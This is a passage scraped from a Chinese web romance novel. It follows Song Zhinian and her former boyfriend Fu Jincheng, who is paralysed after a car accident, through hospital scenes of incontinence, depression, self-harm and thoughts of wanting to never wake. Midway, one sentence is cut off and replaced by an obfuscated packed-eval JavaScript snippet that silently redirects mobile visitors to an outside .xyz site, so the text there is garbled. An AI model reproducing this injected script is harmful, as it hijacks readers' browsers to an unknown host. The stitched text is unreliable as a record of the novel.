宋知念感觉自己的心里又涌上了那种麻麻涨涨的感觉,她明确地知道自己在心疼。 但是这种心疼,和三年的悲伤加在一起,却让她的心境更加复杂。 “那为什么,这三年都不来找我?” 宋知念凑近了傅瑾承,近到她能感受到他炽热的呼吸扑在她脸上的潮热,近到她能看清他眼眸之中的红血丝。 “为什么,哪怕你明知道我会恨你,都不肯告诉我真相。” 傅瑾承迷茫地看着她,她一下离他太近,近得他都分不清是现实还是幻觉,她的声音之中带着蛊惑,像是刻意在引诱着他的答案。 他的唇动了动,眼底露出深深的恐惧:“因为我怕。” “我怕你讨厌我。”他握着她的手紧了紧,那些恐惧蔓延到了他的脸上:“我怕我拖累你。” “与其让我这样残破地出现在你面前,还不如,让你的记忆之中留存一个完整的傅瑾承。” 他的残缺是这样明显,他的身体是这样的残破,他不能因为爱她就自私地让她被自己拖累。 宋知念看着他,眼角的泪缓缓地落下。 而直到那些泪滑过她的脸颊,她才突然意识到自己落泪了。 “我曾经和你说过,我不会让你哭泣。”傅瑾承对着她,勉强扯了扯嘴角,连语气中都带着自嘲: “念念,你看,我现在连给你擦泪都做不到。” 他的手臂能完全恢复,是在复健半年之后才做到的,但是手臂能举到的高度还是受到一定的影响。 宋知念没有去抹自己脸颊上的眼泪,她依旧看着他的眼睛,想要从当中寻找自己的答案:“那你有没有一刻,有想过要告诉我?” 傅瑾承没有说话。 正当宋知念以为不会听到他的答案的时候,他突然轻声说了答案。 “有。” 宋知念无法说清他双眸之中的含义,那是浓烈的悲伤、浓烈的自厌和浓烈的自弃。 “我的情感无时无刻,都想告诉你。” 他说着,眼眸之处流下两滴泪,却又滚落于白色的枕间,不见踪影。 “我的情感无时无刻不在叫嚣着想见你……但我的理智告诉我自己,我不能见到你。” 在医院的这些日子,他见到过太多的人的表情之下的真实,那些怜悯的、惋惜的、担忧的、幸灾乐祸的、兴奋的…… 他不想看到她的眼中出现那样的神采。 他的骄傲和自尊,一直在阻止着他的情感。 “我说过,我怕你爱那样的我。” “既然你不想我爱那样的你。”宋知念深深地吸了口气:“那你为什么,又突然要来找我?” 如果他不来找她,她也许可以带着那段过去,就像是他消失的三年那样生活下去,她可以伪装成那道伤疤已经愈合,可以装作一切没有发生那样。 但是他出现了。 他出现的那一刻,一切伪装都已经无声地坍塌了。 “因为,即使是这样的我,” 他说的话有些多了,这些简单的思考对现在的他来说都有些疲惫,但他还是想要强撑着说完。 “也想恳求你的……爱。” 即使这样的他,几乎是恳求着她的爱。 他本来是想等身体好一些再去找她,但是一日日毫无进展的复健、一次次测试依旧为零的分数,都在打击他那些为数不多的自尊。 他恳求着望着她。 宋知念摸了摸他的头发,他已经有些出汗了,发丝柔软地贴在额间。 像是她第一次见到淋雨后的旺财那样。 “你知道的,因为那三年,我依旧恨你。” 她的声音之中很平静,平静得令傅瑾承心中一震。 那些眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15236343|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中升起的希望迅速地泯灭。 “我……” 他想说我知道,他想说自己做得不对,可那些想说的话压在他的嘴边,却是什么都说不出了,他只能大口大口喘着气,想把内心的心悸压下去。 宋知念看到了他神色的变化,她被压在他胸前的手轻轻一挣扎就睁开了他的掌心。 傅瑾承神色一黯,呼吸之间是越发的急促。 “你就不会听完别人说话吗?”宋知念有些哭笑不得。 她的左手没有离开被褥,转而在他的胸前一下一下地轻抚着,给他顺着气。 “你说……” 傅瑾承感受得到她在他胸口轻抚的动作,就像是为了让他知道似的,她的动作幅度会比较大,一下一下地,令他心安了不少。 她没有离开他。 “傅瑾承,我依旧恨你,”宋知念快速把前面的话重复了下,然后一字一顿地说: “但是我也依旧在意你。” 她恨他对自己的不信任,她恨他那些自以为是的好,可是当他现在这样出现的时候,她不可否认的是,她还是会为他的痛苦而揪心。 宋知念不敢肯定那是不是爱,毕竟和三年前相比,那些青春的悸动已经少了许多,多得却是刻骨铭心的酸涩。 “在意啊……”他喃喃道:“那也够了……” 傅瑾承突然笑了,和那些之前的自嘲的、无奈地笑不同,他的笑意是从眼底出来的。 他似乎许久没有这样畅意地笑过了,就连嘴角都有些微颤,眼角更是红着落了泪。 但不知道为什么,那些在心底的黑暗像是带着刺的荆棘一样包裹了他的身体,让他僵硬得不能动弹,带着刺一下下刺进他的皮肉里。 “毕竟,这样的我,怎么配得到你的爱呢?”他颤抖着问她。 他乞求得到她的爱,但他又清晰地知道自己不配得到她的爱。 她已经有未婚夫了,她的爱不再属于自己一个人,她应该去爱那个尽管没有他那么爱她、但是最起码身体健全的男人。 宋知念辨别得出来傅瑾承状态不对,也知道这时候不是什么该说配不配的时候。 再说下去,傅瑾承自己八成又要走到什么死胡同里。 她对抑郁倾向虽然知道一些,但毕竟没有专业学过,也不好随意地将他情绪控制。 宋知念伸出头,在他的脑门上弹了一下。 她有些没好气:“你配不配是我说了算,又不是你说了算的,我还没对你发火,你就自己在那边自怨自艾。” 宋知念喘了口气,最后总结道:“总之,决定配不配是我的事情,不是你的事情。” 傅瑾承的表情还有些懵懵懂懂的疲惫,高烧还在侵蚀着他的理智,但是那些话太过于直白,直白地让他死寂的心都升起了希望。 他想要碰到她,想到碰到她才能确定眼前的美梦究竟是痛苦之下催生的幻觉,还是真实的。 身上的痛苦虽然还在一刀刀剜割着他的□□,但他还是奋力着,身子往外面探了探。 “念念……” 宋知念拉住了他的手,制止了他对自己近乎残暴的动作。 “我在。” 16. 第 16 章 顾书屿估摸了一下时间,确认到了傅瑾承翻身的时间,这才敢去敲病房门。 他说是去热一下午饭就回来,但是作为傅瑾承的多年好友,顾书屿还是很贴心地为里面的两位留下来了足够重新做一顿午饭的时间。 当病房之中的翻身闹铃响的那一刻,顾书屿准时地打开了房门。 “到翻身的时间了。” 他一边端着午饭进入房间,一边注意着病床上的动静,朗声说。 为了防止长期一个动作导致的压疮,傅瑾承这三年必须每隔两个小时要在护工的帮助下进行一次翻身,改变他的体位。 这三年,傅瑾承每次情绪问题最容易发作的时候,大多是翻身或者是痉挛发生的时候。 顾书屿见过他翻身,被人簇拥着,像一件物品一样被人摆来摆去,连调整成什么样的姿势,都不能由他自己掌控。 每一次的翻身对于傅瑾承来说,都是一种难以言说的耻辱。 顾书屿暗自屏气,内心细数着。 三、二、 一…… 零? 顾书屿前进的脚步停顿了一瞬。 意料之外的,床上的人似乎并没有什么动静。 他没有以往听到翻身时候的不耐烦,也没有发脾气。 “是到了翻身的时间吗?” 听到了顾书屿的话,坐在床边的宋知念反倒是起了身,疑问道。 “是的,还要给压疮换药。” 顾书屿回答着宋知念的问题,斜瞄了眼傅瑾承一动不动仿若僵硬的背影。 见傅瑾承的状态还好,顾书屿也没有多管面前这位,他将装着午饭的托盘放在会客厅的茶几上,示意护工进入:“进来吧。” 宋知念抬眼望去。 率先进来的是两名看上去魁梧雄壮的男护工,他们一边走,一边往手上戴着一次性的橡胶手套;跟在他们后面的是拿着托盘的护士,不锈钢制的小盘子中放着白色的纱布和碘附球。 他们应当是打算先翻身再换药的,护工中领头的那名径直地往宋知念的方向走来。 护工的身形太具有一定的压迫感,宋知念很自觉地往床角的方向后退两步,为两位护工让开了床边的位置。 “再等两个小时再说。” 变故就发生在她退后的动作之后。 在众人的一片寂静之中,傅瑾承突然开口了。 他的声音还带着淡淡的沙哑,但听上去却执拗至极:“不翻身也不会死。” 两名护工有些为难地站在原地,他们抬眼看向顾书屿: “这……” 面前病人的古怪早就是出了名的。 一开始为他翻身的护工多多少少都忍受不了为他翻身时候他的暴怒,大多都选择了离开;而眼下这两位护工是因为力气大,能够压着傅瑾承的动作,才被一直被傅家高薪留下的。 “不翻身是不会死,就是会要你半条命。” 顾书屿冷哼一声,讽刺制止道:“别耍脾气,耍脾气对你的身体没好处。” 说完,他冲宋知念挥挥手:“学妹,别担心,来我这里。” 两名护工听到了顾书屿的话,心下安定,俯身就要去拉傅瑾承的被子。 可原本轻而易举就能掀开的被子,此时却牢牢地被它的主人压在手中。 他是用了力的,因为知道自己的身上使不上力,他干脆就把自己的手臂压在被褥上,不让拉扯。 傅瑾承没有再说话,他知道自己的意见在这种时候是不会被采纳的。 他干脆沉默着,与他们对抗。 “翻身,一定要翻吗?”宋知念走到顾书屿身边,轻声问道。 她看到了傅瑾承无声地反抗,也能隐隐感到傅瑾承已经很不高兴。 顾书屿点了点头,脸上是不容拒绝的强硬:“他身上这几天已经有压疮了,在不注意后面会越发的严重。” 他知道傅瑾承痛苦,但是不翻身对他身体循环等功能影响更大,所以即使每次都会刺激到傅瑾承,他们也不得不去做。 “那我们要不先出去吧?” 宋知念抬眸看向床边,低声叹气道:“他应该不想我们看到。” 以宋知念对他的了解,傅瑾承应该不愿,也不想曾经的爱人看到他现在如今那般难堪的一面。 “帘子会拉起来的,” 顾书屿指了指已经在解开帘子的护士说道:“他就是这样,每次翻身前都会不开心,我已经劝了他好久让他习惯就好,每次都听不进去。” 随着顾书屿的话音结束,连接里外面的帘子也已经完全地落下。 这并不是一道完整意义上的遮光帘,帘子和墙壁之间还能有缝隙。 透过缝隙,宋知念还能隐隐看到护工拉开傅瑾承手的动作。 护工的动作算不得轻柔,甚至带着一种强硬,傅瑾承用了手臂力气去压的力量,都能被他们两个人轻而易举地举起。 宋知念看不清帘子之中的动作,但她能看得清楚光透过缝隙落在面上的照影。 自从被子被护工干脆地掀开后,傅瑾承似乎就已经丧失了挣扎。 他的被子如同遮羞布,但却在那一瞬间被人掀了个精光。 而在掀开的那一瞬间,他扭曲的下肢,脆弱的下半身,全部被暴露在了别人的眼前。 护工脸上是习以为常的冷漠,但只有傅瑾承,脸上带着痛楚,别过了脸。 他什么都感知不到了。 无论他们是怎么样将他身下的枕头全部去除,无论他们是怎么样摆弄着他的下半身,他全部都不知道。 他甚至只能通过他们的交谈,只能通过两个人的动作,大致判断出来自己现在的模样。 在他们将他转过最高点的时候,傅瑾承睁开了眼睛。 以他现在的角度,恰巧能看到自己下半身的模样。 他的下身是开裆的短裤,短裤下面,是两条纤细无力的小腿,即使有再好的医疗技术,肌肉萎缩还是在一日日、一分分地发生着。 而这时, ——两条诡异的小腿,正在以一种扭曲的姿态,在空中交织的。 “真丑啊。” 傅瑾承没有再闭上眼睛,他看着两条腿的模样,看着护工在他的两腿之间夹上抱枕,看着那腿摆在抱枕上模样,这才如梦初醒。 这是他的腿,吗?< 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面前的傅瑾承床褥大开着,那些他平日里最不愿意示人地下肢暴露似的赤裸裸地展现在外人的眼前,令顾书屿瞳孔都为之一缩。 而面对的人却一下下地捶打着腿,不像是面对着自己的身体,倒像是和自己不死不休的敌人一般。 两边的护工还没有反应过来,只有护士已经上前去拦傅瑾承的动作。 顾书屿大步向前,先是一把用被子盖住了傅瑾承的下肢,再转头吩咐护工和护士都先离开。 “学妹,你。”顾书屿转头想要安排宋知念的去处,却一下子不知道该如何安排。 正在这时,刚刚发泄一通的傅瑾承似乎听到了声音,他停下了动作,喘着气哑着嗓子道:“不要让她看到。” 他太过清楚自己是什么模样,无论是他对自己粗暴的动作,还是纤瘦扭曲的大腿,他都不想让她看到。 只要不看到,就可以了。 “可我已经都看到了。” 宋知念没有离开,她往前走了几步,走到床边,没有理会傅瑾承的表情,转而问顾书屿道:“有什么我可以帮忙的?” 顾书屿左看看、右看看,当即决定抛下自己手头的事情。 “学妹你坐在我这里。”顾书屿殷勤得使着眼色,迅速起身让开自己的位置。 他刚刚已经直接坐到了傅瑾承的床边,打算半武力镇压傅瑾承的动作。 宋知念没有犹豫地坐在了顾书屿刚刚的位置。 直到她坐上了才发现,这个位置离傅瑾承非常近。 近到,她只要伸出手,就能将他抱入自己的怀中。 傅瑾承也意识到了这件事情,他一眨不眨地盯着她,像是在确认着什么。 顾书屿哼哧哼哧说了个理由就抓紧时间离开了病房,而在病房里的两人,谁都没有去听顾书屿给自己地找的蹩脚的借口。 许久的对视之后,傅瑾承率先移开了视线。 他想对着她笑,但是笑意却迟迟无法勾勒出来,傅瑾承只能自嘲般地咧开嘴角,道: “我这样子,一定很难看吧。” 40-50 第41章 第41章“我们一起想,好不好?…… 傅瑾承转出监护室的时候,正好遇到了夏日午后的暴雨。 暴雨席卷着这座城市,乌云将这座医院的最高层都已经完全笼罩在了灰色的云雾之中。 宋知念从店里确认完最新的装修进度,又和律师团沟通完进展,这才匆匆赶到医院的住院部。 按照一开始的预期,傅瑾承本来应该在两天的观察期结束后就能转出监护室。 但因为他一直发烧,医院又做了一些检查,结果发现引起发烧的是尿路感染,按照医生的要求,傅瑾承又在监护室里观察了三天。 直到今天上午,才正式转移到了国际部的普通病房。 宋知念小心地推开门,便看到病房之中又是一片的漆黑。 病房之中的味道有些古怪,有刻意被人喷过香水或者是空气清新剂的味道,浓烈的香味遮挡不住那些在房间之中还未完全消散的臭味,反而更加显得刺鼻难闻。 监护仪平静地闪烁着那些指标,宋知念前后探望了一下,没有看到应该在病房之中的顾书屿。 宋知念和傅祈安上午都有事情,陪傅瑾承转病房这件事情就托付给了顾书屿。 她正有些奇怪,突然感受到她的肩膀被人拍了拍。 宋知念猛然回头,目光看到一旁的顾书屿笑了笑,对她比了个“嘘”的手势。 “他半个小时前吐了午饭。”顾书屿站在门边,轻声对她说道: “后面翻身的时候痉挛又发作了,刚刚才睡下。” 傅瑾承的这场感染来势汹汹,病菌如同野火一般席卷了他的身体,除去持续不断高烧之外,还伴随着时不时地呕吐。 在监护室的时候,就连那些傅家厨师想方设法做的营养汁,最后的下场也是吐个干净。 每次吐到最后,傅瑾承只能拉着旁边宋知念的不住地喘着气。 可即使再怎么担心,宋知念能做的,也就只有在他泛起生理性眼泪的时候,默默地将他的眼泪拭去。 这是宋知念第一次,完完全全地看到,他的痛苦。 他会难受到只能抓着她的手止不住地颤抖;他会痛苦到只能抓着床边的护栏,以此来保持上半身的平衡;他只能紧紧握拳,那些指甲在他的掌心留下了深深的痕迹,可他也只是靠手中的疼痛来转移自己的注意力。 可是,没有人能够帮他,没有药物能够完全停止他的痛苦。 “我知道了。” 宋知念点点头,脸上的笑容比之前见顾书屿的时候真心实意了许多:“麻烦学长了。” “不麻烦,我这是应该的,可……” 顾书屿和傅瑾承是从小的好友,顾书屿倒是从未觉得麻烦。 他有些烦闷地抓了抓脑袋,想想刚刚一边连话都颤抖着说不完整,一边还要让他拉窗帘关灯的傅瑾承,心中有些担忧:“可学妹,他这次身体问题发作得有些厉害,我怕会影响他的情绪……” 顾书屿不会无缘无故说这样的话,宋知念疑道:“怎么了?” “他刚刚痉挛的时候控制不住失禁了,后面情绪就一直不好。”顾书屿说得很委婉,他一边说一边观察着宋知念的神色,生怕她露出一丝不愉。 顾书屿接着赶快补充道:“你放心,房间内现在已经完全收拾好了。” 宋知念面无异色,她了然地点点头 呕吐物、排泄物,外加掺了香精的清新剂。 难怪,方才推门的时候,里面的味道会那么古怪。 顾书屿也没有多待,宋知念和他互相告了别,便进了病房。 两面遮光帘并没有完全被拉紧,从遮光帘的缝隙之中,还能依稀看到外面的光亮。 宋知念走到窗边,犹豫了一下,还是半拉开了遮光帘。 屋外的天也是阴沉的,高楼外的窗户被云雾所覆盖,只能为房间内提供些许的亮度。 但这样的亮度,也足够她看清他了。 宋知念坐回到床边,望着床上的傅瑾承。 连日的高烧还未完全褪去,又因为这几日吃什么吐什么的原因,他原本就清瘦的面庞又一次迅速地消瘦下去,薄唇上的死皮卷翘着卷起,眼下一片青黑。 他的眉头紧蹙,眼角还泛着方才痉挛与呕吐时产生的泪珠。 宋知念从床头抽了张纸巾,轻轻给他擦去眼角的泪珠。 二便失禁的感受,对于傅瑾承这样的曾经的天之骄子而言,到底是怎样的残忍。 这是所有人想都不敢想的事情。 宋知念的动作不大,但还是吵醒了入睡不久的傅瑾承。 他的鸦羽微动,挣扎着睁开眼睛,眼睑微阖,满脸的憔悴。 “阿承,” 宋知念注意到了他的动作,她微微侧倾,挡住了他的视线,有些歉意道:“吵醒你了吗?” “嗯……” 傅瑾承还有些迷迷糊糊的,他看着面前的宋知念,脸上还有些分不清现实和梦境的茫然。 “梦到了什么呢?”宋知念摸摸他的额头,估计了一下他的体温。 他还在发烧,但是温度还好,应该是低烧。 “是一个很美好的梦。” 傅瑾承看着她,嘴角微微上挑,他笑得怀念又感伤:“我又梦到了我对你表白的时候。” 梦里的场景还历历在目,他如同旁观者一样看着那时候的他们,他看到在他表白之后羞红了脸的宋知念,看到了那时候连自己都没注意到的局促。 这确实是一个很美好的梦,美好到,只能出现在回忆之中。 “我当时也很紧张。” 他目光深深,落于宋知念的面庞之上。 那时候的傅瑾承知道她对他有好感,但是他不知道,她是否完全愿意,和他在一起。 他说的这事,宋知念倒是并不知道。 “真的吗?” 宋知念有些怀疑,她凑到了他的面前,饶有兴味地问道:“可我当时一点也看不出来诶。” “真的。”傅瑾承眨眨眼,看着突然凑近的她: “我当时已经做好了准备,如果要是表白失败,那我后面就会以忙公司的业务为理由,将你们部门的管理交给阿屿负责,这样你也不会尴尬。” 四目相对之间,他说道: “可如果你和我在一起了,我就还有大四整年的时间和你相处在一起。” 她凑得离他太近了,近到 他只要微微仰起头,便能触碰到她的唇,或者是她柔软的肌肤。 “然后呢?”宋知念红唇微启,呼吸间的热气顺着气流,落于他的唇上。 傅瑾承没有避开,她身上的香气萦绕于他的鼻尖,将房屋之内那些令他生厌的香臭气味遮挡得严严实实的。 “然后,大四结束后,我毕业工作,你继续读书。”他说。 大四的毕业季,也是著名的分手季。 宋知念轻笑着问道:“那你毕业了,我们不是长期见不到了吗?你不怕我们分手呀?” “不怕。”傅瑾承摇摇头,如实道:“我当时就想过,如果你同意了,那我就在附近买套房搬过来住。” 他甚至计算过从学校到公司的距离,还估算过上下班通勤时间。 “你还真的是,把什么都想到了。”宋知念感慨道。 傅瑾承扯扯嘴角,道:“是啊。” 那时候的傅瑾承,是真的把什么准备都已经做好了。 有她同意、有她拒绝、有她专注学业、有她追逐梦想…… 但无论是她的哪一种选择,他都会支持。 傅瑾承的人生已经被家族规划好了,所以从他知道自己喜欢上她的那一天开始,他就希望,她能够自由。 他的目光之中带着回忆与怀念,那些从没有在三年前对她说出的话,那些他曾经畅想过的未来,终于在三年后,被他诉说了出来。 而那些畅想过的未来,都已经变成了一场不会再实现的梦境 “可是我想的这些,全部都没有实现过。” 哪怕一瞬。 ——第二天,他就出了车祸。 而再见面时。 她已经离开了校园,他已经困于身体的囚笼。 “念念。” 傅瑾承抬起手,想要去触碰她的脸。 他的手有些没有力气,方才的痉挛和失禁已经消耗光了他所有的力气,现在就连动动手指都觉得疲惫。 他用尽了最后的力气,也只能抖动了一下自己的手指。 他太累了。 宋知念离他太近了,她没有注意到他的动作,她只是看着他,语气郑重、又珍重: “那你现在还有想过,我们的未来吗?” 傅瑾承的表情有一瞬间的茫然。 自从生病之后,他从来就没有想过什么是未来。 “我……没有想过……” 过一天、是一天。 插着呼吸机活过一天,和躺在床上活一天,对他没有多大的区别。 光是活着,他就已经很累、很累了。 他有当下,但他已经没有未来了。 傅瑾承知道自己的情绪有些不对,或者说从他又一次进入监护室、从他知道自己又一次尿路感染、又一次失禁开始,他就开始了。 他知道自己犯病了,也知道现在的自己现在看上去正常,也不过是因为她在。 傅瑾承有时候都分不清,他会是因为并发症夺去他的生命,还是他因为自厌而选择自我了结。 “念念,我是不是应该,不要拖累你?” 因为他的自私,他出现在了她的面前。 可是她会选择他这个没有未来的人吗? 傅瑾承不知道、他甚至在这一瞬间也有些恐惧知道。 他的双眸之中第一次沾染上了惊恐而脆弱的神色。 宋知念没有说话。 傅瑾承心中越发恐慌,他张张嘴,还想再说什么,却发现自己的唇已经被宋知念的手指抵住。 她拉开了两人之间的距离,就连声音都听起来有些不满:“我讨厌听到什么拖累不拖累的词。” “我只想知道,你要不要和我一起去计划,我们的未来?” 上一次,是他独自一人默默地计划着未来。 而这一次—— “我们一起想,好不好?” 第42章 第42章如果你爱我,就不要恨你…… “可我该怎么去想呢,念念。” 傅瑾承看着她,眼中出现如幼童一样懵懂的神色: “我除了按照医生给的时间生活,我除了能躺在这里和你说话,我除了还能用手去触碰到你,我除了能拥有思想之外,我又还能拥有什么,我又还能畅想什么呢?” 傅瑾承一直都知道,人类的归宿,生命的归宿,都是死亡。 无论这个人的一生多么波澜壮阔、无论这个人的一生多么平凡无奇。 到最后,也不过是尘归尘、土归土。 归于腐朽。 他们的距离远了些,那股难闻的气味,再一次顺着他们两人分开的距离,漂浮到了傅瑾承的鼻尖。 那些花木的清香曾经将他环绕,再次闻到那些房间之中的异味时候,只觉得愈发的恶臭。 “在你来之前,我失禁了。”他垂着眸,道。 香到生臭的是喷洒过多的空气清新剂,而下方之中难以言喻的臭味,是来自他自己的排泄物。 “从移动床转移到现在这张病床的时候,他们给我调整了一下卧位,可是他们就移动了一下我的腿,它就止不住地颤抖。” 腿部的颤抖带动了全身的颤动,可能是因为肌肉间的互相刺激,根本无法控制的膀胱自发地运作了起来。 那些难闻的气味,就在那一刻,席卷了整间病房。 在众目睽睽之下,他被护工翻来覆去的换好了下身的垫子,甚至把被他溅上的被褥,也重新换了一条。 “那真的,很恶心。” 收拾干净了又怎么样?只要在他身边的人都见到过他的失态,那些细菌在他的身上试图找到每一个侵入点。 “排尿的导管会引发尿路感染、再往后是膀胱炎甚至是尿毒症,正常躺着的皮肤也会因为受压接触形成压疮,那些皮肉最后会泛红溃烂,甚至那些靠着仪器的站立坐起的动作,都会让我头昏眼花心脏骤跳。” 他一口气说了很多的话,说到最后,都像是在悲鸣。 “我真的,很恶心我自己。” 他恶心那瘫软的下足,恶心那内扣的脚踝,恶心那下身萎缩的双腿。 他厌恶现在自己身上的一切。 宋知念用手摸摸他的额头,他的额间已经沁满了冷汗,手掌的触碰之间,只留下了满手的湿滑。 “阿承,不要想了,先休息一下吧。” 她不想让他再说了,她不想听他再说了。 傅瑾承没有说话,在宋知念本以为傅瑾承不会再说话的时候。 突然听到了他的声音。 “我已经休息太久了。” 初醒后的嗓音还带着沙哑,说出来的话却是让宋知念心头一震 “念念,我好想永远沉睡下去。” 睡着了就不会痛苦了,睡着了,还能梦见那些过往,睡着了,他还能在梦里去幻想那些未来。 “我连活好当下都是如此的痛苦,我连想要拥抱你都无能为力。” 他有时候会更加期盼着,自己能够早日抵达这最终的归宿。 前半生,他活在家族的要求、母亲的痛苦和父亲的责骂之中。 而到他终于可以带着弟弟离开的时候,却又变成了如今的这般荒谬的模样。 想到这里。 他的呼吸越发的急促,胸腔里发出阵阵的轰鸣,耳边传来心脏剧烈跳动的空鸣,一下下的,那些震动击打在他的胸膛,那些鸣叫令本就眩晕的大脑更加的疼痛。 傅瑾承紧闭着双眼,用自己的后脑死死地压着软枕,以此来分散疼痛。 床边发出一些响动,床的一侧有些下沉。 宋知念原本是坐在床边的椅子上的,但是现在,她移到了床边,移到了离他更进一步的地方。 她为什么不走?为什么要离他这么近? “念念……”傅瑾承不由得喃喃道。 耳边还是持续不断的鸣叫,大脑也还在混乱,但是即使在混乱之中,傅瑾承还是能感受到,她捧起了自己的脸颊。 她的手细腻温热 ,但和还在发烧的他的相比,却是让他的额头难得感受到了清凉之感。 他被她抬起了脸。 “你是变了很多,但这三年,所有人都变了。” 傅瑾承听到了宋知念的声音,他看向她的眼眸,那里面有个小小的他。 “可……” 傅瑾承难得地想要反驳她的观点,他变了,傅祈安变了、顾书屿变了,但是她没有变。 他做了那么多让她难过的事情,就是不想让她和他们一样改变。 宋知念摇摇头,她猜到了他想说什么,直接打断了他的话: “我也变了的,傅瑾承。” 因为曾经的失去、因为那些流言,她也变得患得患失,也变得小心翼翼。 傅瑾承是侧躺的,听到这句话,他猛地按下了床头的升高键。 体位的变化让他感觉自己的眼前一片漆黑,模模糊糊之间,他将床铺调到了七十度左右的位置。 傅瑾承的眼前从原本的漆黑,已经开始隐隐有些了白光。 他像是试探性地向白光伸出手,捧住了她的脸颊。 这个高度让他眩晕,但是却可以让他多借用一些惯性的力量,让他更加轻松地伸出手,抚摸上她的脸颊。 “念念,都是我的错。” 他看着她满目哀道:“我从来都不奢求你能够原谅我。” 他本来就不奢求她的原谅,本来就不奢求她还能爱他。 傅瑾承已经分不清什么是躯体化,也已经分不清哪些是单纯的生理性问题。 他的手没了力气,从她的脸颊上垂落,最后落于被褥之上。 他还在看着她,那些彷徨、恐惧和疼痛,还未来得及遮掩,墨色的瞳孔之中,还有那些未曾散去的湿意。 但他还是想要从她的脸上看出她的想法。 可在那一瞬间,瞬间的反胃还是涌上了他。 傅瑾承脸色一变。 猛地把宋知念往外推了一把。 他的力气不大,更多的是依靠惯性。 这次,又是情绪的变化又引发了呕吐。 明明中午的饭食早已经在上一次呕吐之中吐了个干净,明明已经吐到近乎灼伤的干呕,却还是在不住地犯恶心。 床边放着套了袋子的小桶,宋知念拿起桶,放到他床边。 刚刚推开宋知念已经用完了他的力气,他只能无力地用手压着桶,发出阵阵干呕声。 酸水呕吐出来,带着那股腥酸的腐味。 傅瑾承连一句完整的话都说不出来,他想要让宋知念离他远一些,可每次想要开口的时候,都被那股翻涌上来的胃酸冲乱了话语。 他的眼眶泛红,眼角已经沾染上了生理性的泪。 “阿承。” 傅瑾承听到宋知念在喊着自己的名字,他能感受到她的手正在自己的肩背上一阵阵抚摸着。 那些温热的感触到了身体被冰封的区域的时候,就会完完全全地消失。 “喝口水,漱下口。”宋知念将床边带着吸管的杯子递过去。 傅瑾承侧过脸,就着吸管吸了几口,这才压下来那股酸意。 “可以了,念念。” 他松开桶,无力地躺回枕上,阖上双眸。 生理性的泪珠从他的眼角缓缓落下,在他的脸颊上只留下了一道水痕。 “先不想这些了,好不好?” 宋知念将那水桶放回床下,往床尾移了些。 她不确定到底是什么引发的傅瑾承的情绪变化。 宋知念回忆了一下自己的话语,她知道,她前面说的那些话,傅瑾承不可能听不明白她的意思。 可是,那又为什么,会这样呢? 宋知念有些不解。 他的呕吐、他的情绪,似乎是联系在一起的。 她本来以为那是他的胃病,但是现在看看,可能更多的,是情绪。 就像是情绪的外显,就像是…… 躯体化,吗? 宋知念猛然想起这个在大学时候老师提过的词。 顾书屿的那些欲言又止,似乎都有了答案。 “可我没有办法不想。” 他脸上似笑似哭:“我每天都看到这样的自己,我每天都要面对这样的自己。” 他掀开被褥,露出自己的下半身。 夏季的薄被被他轻轻一扯就掉落在了地上,但是没有人去关注。 因为前面失禁的原因,他下身穿着夏季的医院的开裆短裤,有一个尿根管子,横跨在他的大腿上。 两条腿的膝盖有些扭曲内扣,皮肉包裹着大腿和小腿,除了觉得纤细之外,勉强还能够在躺着时候感觉正常。 最远端的双足扭曲着下垂,即使最下面用沙袋顶着,还是能看出,此时的双脚已经形成了不自然的内扣。 傅瑾承用力地扳起自己的大腿,屈膝膝盖。 他的动作粗暴,就那么一抓,都能看到裤腿下被他自己掐得下凹的肌肉。 他没有痛觉,他也无所畏惧。 他开始突然将手握成拳,用力着、捶着自己刚刚曲起的膝盖。 他还是在笑: “念念,我真的很麻烦,我真的,很恶心。” 傅瑾承的力气不大,但是他的下半身完全没有支撑和知觉。 几下之后,刚刚被他曲起的腿便以一种诡异的姿势倒在了床上。 “你看。” 傅瑾承的脸上,有报复自己的快意:“就是这么的令人生厌。” 宋知念一直在看着他,直到这个时候,她才真正地阻拦了他。 她拉住了那只正在报复自己的手,将那握成拳的手紧紧地捧在自己的手心。 他有些不解宋知念为何要将他拦下,他的呼吸依旧急促,他的眼中有恨意、有厌恶。 ——他恨他自己。 宋知念把自己挡在了傅瑾承的视线前,用手盖住了他的双眼。 傅瑾承的眼前一黑。 他眨了眨眼,鸦睫划过她的手心,像是在疑问。 下一刻,一个轻如羽毛的柔软,在他的额头落下。 “傅瑾承,如果你爱我。” “就不要恨你自己。” 她的声音越过了耳鸣的长风。 那颗早已经在寂静之中破碎沉没的灵魂,突然开始在荒芜中涌动。 第43章 第43章如果她真的离开了他,他…… 他是一个无法爱自己的人。 可那些被他抛下的自尊、那些脆弱的呻吟,也令宋知念知道,他已经尽了他的所有,来爱她。 “阿承,我知道你很难受,也知道你很苦闷。” 他的视线完全被她的手所阻拦,手指之间的缝隙能透露出那些仿佛虚幻的、迷离的光影。 她的容貌在间隙之中若隐若现,而那些声音又是真实地在他的耳边。 身体的行为并不受他自己的完全控制,来自精神和**的头疼与难受,他的薄唇颤动着,却又有些说不出话。 他只能抿抿唇,颤抖着,用自己的双手去触碰她的腰间。 手指还是无力的,他摩挲着摸到了她腰间的布料,只能用手简单地用手勾着。 可那样就已经让他很满足了。 “但是,你能不能,对自己好一些。” 对自己的身体、对自己的灵魂。 他的左手臂上已经都是划痕,即使已经用了最好的祛疤药膏,但是那些划痕依旧盘踞在他的皮肤之上,一道道的,足以证明主人的心狠。 更别提,那些对自己下半身粗暴的动作。 他对待自己下半身的态度,令宋知念想起和他重逢时候的画面。 谢医生是像对待修坏了的桌腿,他将桌腿安装好进行固定,只是因为习以为常。 但是他作为桌腿的主人,更像是恶狠狠地将桌腿抛弃在了地上,然后,又在上面连续地踩了两脚。 “我做不到。”他的答案决绝而直接: “念念,我无法做到。” 宋知念没有想到他回答得这么快,令她想要在劝都显得那 么苍白:“阿承……” “我爱你,和我恨自己,本身就是两回事。” 爱是本能,而恨也是本能。 “我无法抵抗我的本能。” 